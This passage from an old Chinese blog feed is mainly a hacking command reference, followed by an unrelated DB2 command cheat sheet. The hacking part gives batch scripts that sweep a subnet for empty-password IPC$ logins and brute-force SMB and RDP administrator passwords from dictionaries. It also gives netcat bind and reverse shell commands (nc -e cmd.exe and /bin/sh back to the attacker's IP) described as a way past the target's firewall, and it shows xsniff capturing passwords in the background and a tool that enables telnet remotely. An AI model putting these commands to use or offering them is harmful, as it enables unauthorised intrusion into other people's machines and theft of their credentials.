参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。<br />
<br />
#6 六：<br />
<br />
Linux系统下基本命令： 要区分大小写 <br />
uname 显示版本信息（同win2K的 ver） <br />
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br />
pwd 查询当前所在的目录位置 <br />
cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br />
cat 文件名 查看文件内容 <br />
cat &gt;abc.txt 往abc.txt文件中写上内容。 <br />
more 文件名 以一页一页的方式显示一个文本文件。 <br />
cp 复制文件 <br />
mv 移动文件 <br />
rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br />
mkdir 目录名 建立目录 <br />
rmdir 删除子目录，目录内没有文档。 <br />
chmod 设定档案或目录的存取权限 <br />
grep 在档案中查找字符串 <br />
diff 档案文件比较 <br />
find 档案搜寻 <br />
date 现在的日期、时间 <br />
who 查询目前和你使用同一台机器的人以及Login时间地点 <br />
w 查询目前上机者的详细资料 <br />
whoami 查看自己的帐号名称 <br />
groups 查看某人的Group <br />
passwd 更改密码 <br />
history 查看自己下过的命令 <br />
ps 显示进程状态 <br />
kill 停止某进程 <br />
gcc 黑客通常用它来编译C语言写的文件 <br />
su 权限转换为指定使用者 <br />
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br />
ftp ftp连接上某服务器（同win2K） <br />
<br />
附：批处理命令与变量<br />
<br />
1：for命令及变量 基本格式： <br />
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。<br />
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use ""ip"ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3<br />
<br />
(set):指定一个或一组文件，可使用通配符，如：(D:"user.txt)和(1 1 254)(1 -1 254),{ &#8220;(1 1 254)&#8221;第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；&#8220;(1 -1 254)&#8221;说明：即从254到1 }<br />
<br />
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开<br />
command_parameters：为特定命令指定参数或命令行开关<br />
<br />
IN (set)：指在(set)中取值；DO command ：指执行command<br />
<br />
参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:"pass.txt)时 }。 <br />
用法举例： <br />
@echo off <br />
echo 用法格式：test.bat *.*.* &gt; test.txt <br />
<br />
for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use ""%1.%%G /user:***istrator | find "命令成功完成" &gt;&gt;test.txt <br />
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。<br />
<br />
/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br />
@echo off <br />
echo 用法格式：ok.bat ip <br />
FOR /F %%i IN (D:"user.dic) DO smb.exe %1 %%i D:"pass.dic 200 <br />
存为：ok.exe 说明：输入一个IP后，用字典文件d:"pass.dic来暴解d:"user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。http://www.jz5u.com<br />
<br />
#7 七：<br />
<br />
2：if命令及变量 基本格式： <br />
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为&#8220;真&#8221;。<br />
例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。<br />
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 <br />
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。<br />
例：&#8220;if "%2%"=="4" goto start&#8221;指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） <br />
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。<br />
例：&#8220;if not nc.exe goto end&#8221;指：如果没有发现nc.exe文件就跳到":end"标签处。 <br />
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；例如：&#8220;if exist test.txt. &lt;del test.txt.&gt; else echo test.txt.missing &#8221;，注意命令中的&#8220;.&#8221; <br />
<br />
（二）系统外部命令(均需下载相关工具)：<br />
<br />
1、瑞士军刀：nc.exe<br />
<br />
参数说明： <br />
-h 查看帮助信息 <br />
-d 后台模式 <br />
-e prog程序重定向，一但连接就执行［危险］ <br />
-i secs延时的间隔 <br />
-l 监听模式，用于入站连接 <br />
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br />
-n IP地址，不能用域名 <br />
-o film记录16进制的传输 <br />
-p[空格]端口 本地端口号 <br />
-r 随机本地及远程端口 <br />
-t 使用Telnet交互方式 <br />
-u UDP模式 <br />
-v 详细输出，用-vv将更详细 <br />
-w数字 timeout延时间隔 <br />
-z 将输入，输出关掉（用于扫锚时） <br />
基本用法： <br />
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br />
nc -l -p 80 开启本机的TCP 80端口并监听 <br />
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br />
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br />
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 <br />
高级用法： <br />
nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br />
nc -L -p 80 &gt; c:"log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:"log.txt <br />
nc -L -p 80 &lt; c:"honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:"honeyport.txt中内容送入管道中，亦可起到传送文件作用 <br />
type.exe c:"honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:"honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br />
本机上用：nc -l -p 本机端口 <br />
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K<br />
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br />
本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br />
在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br />
备 注： <br />
| 管道命令 <br />
&lt; 或 &gt; 重定向命令。&#8220;&lt;&#8221;，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br />
＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:"winnt &gt;&gt; d:"log.txt 意思是：后台执行dir，并把结果存在d:"log.txt中 <br />
&gt;与&gt;&gt;的区别 　"&gt;"指：覆盖；"&gt;&gt;"指：保存到(添加到）。<br />
如：@dir c:"winnt &gt;&gt; d:"log.txt和@dir c:"winnt &gt; d:"log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。<br />
<br />
#8 八：<br />
<br />
2、扫锚工具：xscan.exe<br />
<br />
基本格式 <br />
xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 <br />
xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 <br />
检测项目 <br />
-active 检测主机是否存活 <br />
-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br />
-port 检测常用服务的端口状态 <br />
-ftp 检测FTP弱口令 <br />
-pub 检测FTP服务匿名用户写权限 <br />
-pop3 检测POP3-Server弱口令 <br />
-smtp 检测SMTP-Server漏洞 <br />
-sql 检测SQL-Server弱口令 <br />
-smb 检测NT-Server弱口令 <br />
-iis 检测IIS编码/解码漏洞 <br />
-cgi 检测CGI漏洞 <br />
-nasl 加载Nessus攻击脚本 <br />
-all 检测以上所有项目 <br />
其它选项 <br />
-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过"-l"参数获取 <br />
-l 显示所有网络适配器 <br />
-v 显示详细扫描进度 <br />
-p 跳过没有响应的主机 <br />
-o 跳过没有检测到开放端口的主机 <br />
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br />
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br />
用法示例 <br />
xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 <br />
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br />
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测&#8220;hostlist.txt&#8221;文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机www.jz5u.com<br />
<br />
#9 九：<br />
<br />
3、命令行方式嗅探器: xsniff.exe<br />
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br />
参数说明 <br />
-tcp 输出TCP数据报 <br />
-udp 输出UDP数据报 <br />
-icmp 输出ICMP数据报 <br />
-pass 过滤密码信息 <br />
-hide 后台运行 <br />
-host 解析主机名 <br />
-addr IP地址 过滤IP地址 <br />
-port 端口 过滤端口 <br />
-log 文件名 将输出保存到文件 <br />
-asc 以ASCII形式输出 <br />
-hex 以16进制形式输出 <br />
用法示例 <br />
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br />
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 <br />
<br />
4、终端服务密码破解: tscrack.exe<br />
<br />
参数说明 <br />
-h 显示使用帮助 <br />
-v 显示版本信息 <br />
-s 在屏幕上打出解密能力 <br />
-b 密码错误时发出的声音 <br />
-t 同是发出多个连接（多线程） <br />
-N Prevent System Log entries on targeted server <br />
-U 卸载移除tscrack组件 <br />
-f 使用－f后面的密码 <br />
-F 间隔时间（频率） <br />
-l 使用－l后面的用户名 <br />
-w 使用－w后面的密码字典 <br />
-p 使用－p后面的密码 <br />
-D 登录主页面 <br />
用法示例 <br />
tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码 <br />
tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户 <br />
@if not exist ipcscan.txt goto noscan <br />
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i <br />
nscan <br />
@echo 3389.txt no find or scan faild <br />
(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br />
3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br />
@if not exist tscrack.exe goto noscan <br />
@tscrack %1 -l ***istrator -w pass.dic &gt;&gt;rouji.txt <br />
:noscan <br />
@echo tscrack.exe no find or scan faild <br />
(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) <br />
hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码，并将破解结果保存在rouji.txt文件中。 <br />
<br />
5、其它：<br />
<br />
Shutdown.exe <br />
Shutdown ""IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br />
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br />
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是www.sina.com.cn的主机信息 <br />
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br />
OpenTelnet.exe (远程开启telnet工具) <br />
opentelnet.exe ""IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet ""ip 连接上对方。<br />
NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。<br />
<br />
ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br />
resumetelnet.exe ""IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。<br />
<br />
#10 十：<br />
<br />
6、FTP命令详解：<br />
<br />
FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。<br />
<br />
FTP的命令行格式为： <br />
ftp -v -d -i -n -g [主机名] ，其中<br />
<br />
-v 显示远程服务器的所有响应信息；<br />
<br />
-n 限制ftp的自动登录，即不使用；.n etrc文件；<br />
<br />
-d 使用调试方式；<br />
<br />
-g 取消全局文件名。<br />
<br />
FTP使用的内部命令如下(中括号表示可选项):<br />
<br />
1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br />
2.$ macro-ame[args]： 执行宏定义macro-name。<br />
<br />
3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br />
4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。<br />
<br />
5.ascii：使用ascii类型传输方式。<br />
6.bell：每个命令执行完毕后计算机响铃一次。<br />
<br />
7.bin：使用二进制文件传输方式。<br />
8.bye：退出ftp会话过程。<br />
<br />
9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br />
10.cd remote-dir：进入远程主机目录。<br />
<br />
11.cdup：进入远程主机目录的父目录。 <br />
12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。<br />
<br />
13.close：中断与远程服务器的ftp会话(与open对应)。 <br />
14.cr：使用asscii方式传输文件时，将回车换行转换为回行。<br />
<br />
15.delete remote-file：删除远程主机文件。 <br />
16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。<br />
<br />
17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br />
18.disconnection：同close。<br />
<br />
19.form format：将文件传输方式设置为format，缺省为file方式。 <br />
20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。<br />
<br />
21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br />
22.hash：每传输1024字节，显示一个hash符号(#)。<br />
<br />
23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br />
24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。<br />
<br />
25.image：设置二进制传输方式(同binary)。 <br />
26.lcd[dir]：将本地工作目录切换至dir。<br />
<br />
27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br />
28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。<br />
<br />
29.mdelete[remote-file]：删除远程主机文件。 <br />
30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。<br />
<br />
31.mget remote-files：传输多个远程文件。 <br />
32.mkdir dir-name：在远程主机中建一目录。<br />
<br />
33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br />
34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。<br />
<br />
35.modtime file-name：显示远程主机文件的最后修改时间。 <br />
36.mput local-file：将多个文件传输至远程主机。<br />
<br />
37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />
38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。<br />
<br />
39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。<br />
40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。<br />
<br />
41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br />
42.passive：进入被动传输方式。<br />
<br />
43.prompt：设置多个文件传输时的交互提示。 <br />
44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />
45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br />
46.pwd：显示远程主机的当前工作目录。<br />
<br />
47.quit：同bye，退出ftp会话。 <br />
48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.<br />
<br />
49.recv remote-file[local-file]：同get。 <br />
50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。<br />
<br />
51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br />
52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。<br />
<br />
53.rename[from][to]：更改远程主机文件名。 <br />
54.reset：清除回答队列。<br />
<br />
55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br />
56.rmdir dir-name：删除远程主机目录。<br />
<br />
57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br />
58.send local-file[remote-file]：同put。<br />
<br />
59.sendport：设置PORT命令的使用。 <br />
60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。<br />
<br />
61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br />
62.status：显示当前ftp状态。www.jz5u.com<br />
<br />
63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br />
64.sunique：将远程主机文件名存储设置为只一(与runique对应)。<br />
<br />
65.system：显示远程主机的操作系统类型。 <br />
66.tenex：将文件传输类型设置为TENEX机的所需的类型。<br />
<br />
67.tick：设置传输时的字节计数器。 <br />
68.trace：设置包跟踪。<br />
<br />
69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br />
70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3<br />
<br />
71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。 <br />
72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.<br />
<br />
73.?[cmd]：同help.<br />
<br />
#11 十一：<br />
<br />
7：计算机运行命令全集 winver---------检查Windows版本<br />
wmimgmt.msc----打开windows管理体系结构<br />
wupdmgr--------windows更新程序<br />
winver---------检查Windows版本<br />
wmimgmt.msc----打开windows管理体系结构<br />
wupdmgr--------windows更新程序<br />
wscript--------windows脚本宿主设置<br />
write----------写字板winmsd-----系统信息<br />
wiaacmgr-------扫描仪和照相机向导<br />
winchat--------XP自带局域网聊天<br />
mem.exe--------显示内存使用情况<br />
Msconfig.exe---系统配置实用程序 <br />
mplayer2-------简易widnows media player<br />
mspaint--------画图板<br />
mstsc----------远程桌面连接<br />
mplayer2-------媒体播放机<br />
magnify--------放大镜实用程序<br />
mmc------------打开控制台<br />
mobsync--------同步命令<br />
dxdiag---------检查DirectX信息<br />
drwtsn32------ 系统医生<br />
devmgmt.msc--- 设备管理器<br />
dfrg.msc-------磁盘碎片整理程序<br />
diskmgmt.msc---磁盘管理实用程序<br />
dcomcnfg-------打开系统组件服务<br />
ddeshare-------打开DDE共享设置<br />
dvdplay--------DVD播放器<br />
net stop messenger-----停止信使服务<br />
net start messenger----开始信使服务 <br />
notepad--------打开记事本<br />
nslookup-------网络管理的工具向导<br />
ntbackup-------系统备份和还原<br />
narrator-------屏幕"讲述人"<br />
ntmsmgr.msc----移动存储管理器<br />
ntmsoprq.msc---移动存储管理员操作请求<br />
netstat -an----(TC)命令检查接口<br />
syncapp--------创建一个公文包<br />
sysedit--------系统配置编辑器<br />
sigverif-------文件签名验证程序<br />
sndrec32-------录音机<br />
shrpubw--------创建共享文件夹<br />
secpol.msc-----本地安全策略<br />
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br />
services.msc---本地服务设置<br />
Sndvol32-------音量控制程序<br />
sfc.exe--------系统文件检查器<br />
sfc /scannow---windows文件保护<br />
tsshutdn-------60秒倒计时关机命令<br />
tourstart------xp简介（安装完成后出现的漫游xp程序）<br />
taskmgr--------任务管理器<br />
eventvwr-------事件查看器<br />
eudcedit-------造字程序 <br />
explorer-------打开资源管理器<br />
packager-------对象包装程序<br />
perfmon.msc----计算机性能监测程序<br />
progman--------程序管理器<br />
regedit.exe----注册表 <br />
rsop.msc-------组策略结果集<br />
regedt32-------注册表编辑器<br />
rononce -p ----15秒关机<br />
regsvr32 /u *.dll----停止dll文件运行<br />
regsvr32 /u zipfldr.dll------取消ZIP支持<br />
cmd.exe--------CMD命令提示符<br />
chkdsk.exe-----Chkdsk磁盘检查<br />
certmgr.msc----证书管理实用程序<br />
calc-----------启动计算器<br />
charmap--------启动字符映射表<br />
cliconfg-------SQL SERVER 客户端网络实用程序<br />
Clipbrd--------剪贴板查看器<br />
conf-----------启动netmeeting<br />
compmgmt.msc---计算机管理<br />
cleanmgr-------**整理<br />
ciadv.msc------索引服务程序<br />
osk------------打开屏幕键盘<br />
odbcad32-------ODBC数据源管理器<br />
oobe/msoobe /a----检查XP是否激活<br />
lusrmgr.msc----本机用户和组<br />
logoff---------注销命令<br />
iexpress-------木马捆绑工具，系统自带<br />
Nslookup-------IP地址侦测器<br />
fsmgmt.msc-----共享文件夹管理器<br />
utilman--------辅助工具管理器<br />
gpedit.msc-----组策略<br />
<img src ="http://www.blogjava.net/cyanbomb/aggbug/171088.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2007-12-28 10:13 <a href="http://www.blogjava.net/cyanbomb/archive/2007/12/28/171088.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>db2常用口令</title><link>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171081.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Fri, 28 Dec 2007 02:04:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171081.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/171081.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171081.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/171081.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/171081.html</trackback:ping><description><![CDATA[<p>查看当前db2实例中有那些数据库：<br />
<br />
db2 list database directory<br />
<br />
查看数据库中有那些表：<br />
db2 connect to db_name user xxx using xxxx<br />
db2 list tables<br />
<br />
列出用户创建的所有表<br />
db2 list tables for user_name <br />
<br />
列出所有schema为xx的表<br />
db2 list tables for schema xxx<br />
<br />
查看某个表中的字段情况：<br />
<br />
db2 describe table table_name<br />
db2 describe table table_name show detail<br />
</p>
<p>------------------------------------------------------------------------<br />
</p>
<p>1. 建立数据库DB2_GCB </p>
<p>CREATE DATABASE DB2_GCB ON G: ALIAS DB2_GCB <br />
<br />
USING CODESET GBK TERRITORY CN COLLATE USING SYSTEM DFT_EXTENT_SZ 32 </p>
<p>2. 连接数据库 </p>
<p>connect to sample1 user db2admin using 8301206 </p>
<p>3. 建立别名 </p>
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<p>create alias db2admin.tables for sysstat.tables; <br />
<br />
CREATE ALIAS DB2ADMIN.VIEWS FOR SYSCAT.VIEWS <br />
<br />
create alias db2admin.columns for syscat.columns; <br />
<br />
create alias guest.columns for syscat.columns; </p>
<p>4. 建立表 </p>
<p>create table zjt_tables as <br />
<br />
(select * from tables) definition only; <br />
<br />
create table zjt_views as <br />
<br />
(select * from views) definition only; </p>
<p>5. 插入记录 </p>
<p>insert into zjt_tables select * from tables; <br />
<br />
insert into zjt_views select * from views; </p>
<p>6. 建立视图 </p>
<p>create view V_zjt_tables as select tabschema,tabname from zjt_tables; </p>
<p>7. 建立触发器 </p>
<p>CREATE TRIGGER zjt_tables_del <br />
<br />
AFTER DELETE ON zjt_tables <br />
<br />
REFERENCING OLD AS O <br />
<br />
FOR EACH ROW MODE DB2SQL <br />
<br />
Insert into zjt_tables1 values(substr(o.tabschema,1,8),substr(o.tabname,1,10)) </p>
<p>8. 建立唯一性索引 </p>
<p>CREATE UNIQUE INDEX I_ztables_tabname <br />
<br />
[size=3]ON zjt_tables(tabname); <br />
<br />
9. 查看表 </p>
<p>select tabname from tables <br />
<br />
where tabname='ZJT_TABLES'; </p>
<p>10. 查看列 </p>
<p>select SUBSTR(COLNAME,1,20) as 列名,TYPENAME as 类型,LENGTH as 长度 <br />
<br />
from columns <br />
<br />
where tabname='ZJT_TABLES'; </p>
<p>11. 查看表结构 </p>
<p>db2 describe table user1.department <br />
<br />
db2 describe select * from user.tables </p>
<p>12. 查看表的索引 </p>
<p>db2 describe indexes for table user1.department </p>
<p>13. 查看视图 </p>
<p>select viewname from views <br />
<br />
where viewname='V_ZJT_TABLES'; </p>
<p>14. 查看索引 </p>
<p>select indname from indexes <br />
<br />
where indname='I_ZTABLES_TABNAME'; </p>
<p>15. 查看存贮过程 </p>
<p>SELECT SUBSTR(PROCSCHEMA,1,15),SUBSTR(PROCNAME,1,15) <br />
<br />
FROM SYSCAT.PROCEDURES; </p>
<p>16. 类型转换(cast) </p>
<p>ip datatype:varchar <br />
<br />
select cast(ip as integer)+50 from log_comm_failed </p>
<p>17. 重新连接 </p>
<p>connect reset </p>
<p>18. 中断数据库连接 </p>
<p>disconnect db2_gcb </p>
<p>19. view application </p>
<p>LIST APPLICATION; </p>
<p>20. kill application </p>
<p>FORCE APPLICATION(0); <br />
<br />
db2 force applications all (强迫所应用程序从数据库断开) </p>
<p>21. lock table</p>
<p>lock table test in exclusive mode </p>
<p>22. 共享 </p>
<p>lock table test in share mode </p>
<p>23. 显示当前用户所有表 </p>
<p>list tables </p>
<p>24. 列出所有的系统表 </p>
<p>list tables for system </p>
<p>25. 显示当前活动数据库 </p>
<p>list active databases </p>
<p>26. 查看命令选项 </p>
<p>list command options </p>
<p>27. 系统数据库目录 </p>
<p>LIST DATABASE DIRECTORY </p>
<p>28. 表空间 </p>
<p>list tablespaces </p>
<p>29. 表空间容器 </p>
<p>LIST TABLESPACE CONTAINERS FOR <br />
<br />
Example: LIST TABLESPACE CONTAINERS FOR 1 </p>
<p>30. 显示用户数据库的存取权限 </p>
<p>GET AUTHORIZATIONS</p>
<p>31. 启动实例
</p>
<p>DB2START </p>
<p>32. 停止实例 </p>
<p>db2stop </p>
<p>33. 表或视图特权 </p>
<p>grant select,delete,insert,update on tables to user <br />
<br />
grant all on tables to user WITH GRANT OPTION </p>
<p>34. 程序包特权 </p>
<div id="w_hzh">
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<p>GRANT EXECUTE <br />
<br />
ON PACKAGE PACKAGE-name <br />
<br />
TO PUBLIC </p>
<p>35. 模式特权 </p>
<p>GRANT CREATEIN ON SCHEMA SCHEMA-name TO USER </p>
<p>36. 数据库特权 </p>
<p>grant connect,createtab,dbadm on database to user </p>
<p>37. 索引特权 </p>
<p>grant control on index index-name to user </p>
<p>38. 信息帮助 (? XXXnnnnn ) </p>
<p>例:? SQL30081 </p>
<p>39. SQL 帮助(说明 SQL 语句的语法 </p>
<p>help statement <br />
<br />
例如，help SELECT </p>
<p>40. SQLSTATE 帮助(说明 SQL 的状态和类别代码) </p>
<p>? sqlstate 或 ? class-code </p>
<p>41. 更改与"管理务器"相关的口令 </p>
<p>db2admin setid username password </p>
<p>42. 创建 SAMPLE 数据库 </p>
<p>db2sampl <br />
<br />
db2sampl F:(指定安装盘) </p>
<p>43. 使用操作系统令 </p>
<p>! dir </p>
<p>44. 转换数据类型 (cast) </p>
<p>SELECT EMPNO, CAST(RESUME AS VARCHAR(370)) <br />
<br />
FROM EMP_RESUME <br />
<br />
WHERE RESUME_FORMAT = 'ascii' <br />
<br />
45. UDF</p>
<p>要运行 DB2 Java 存储过程或 UDF，还需要更新服务器上的 DB2 数据库管理程序配置，以包括在该机器上安装 JDK 的路径 </p>
<p>db2 update dbm cfg using JDK11_PATH d:sqllibjavajdk <br />
<br />
TERMINATE <br />
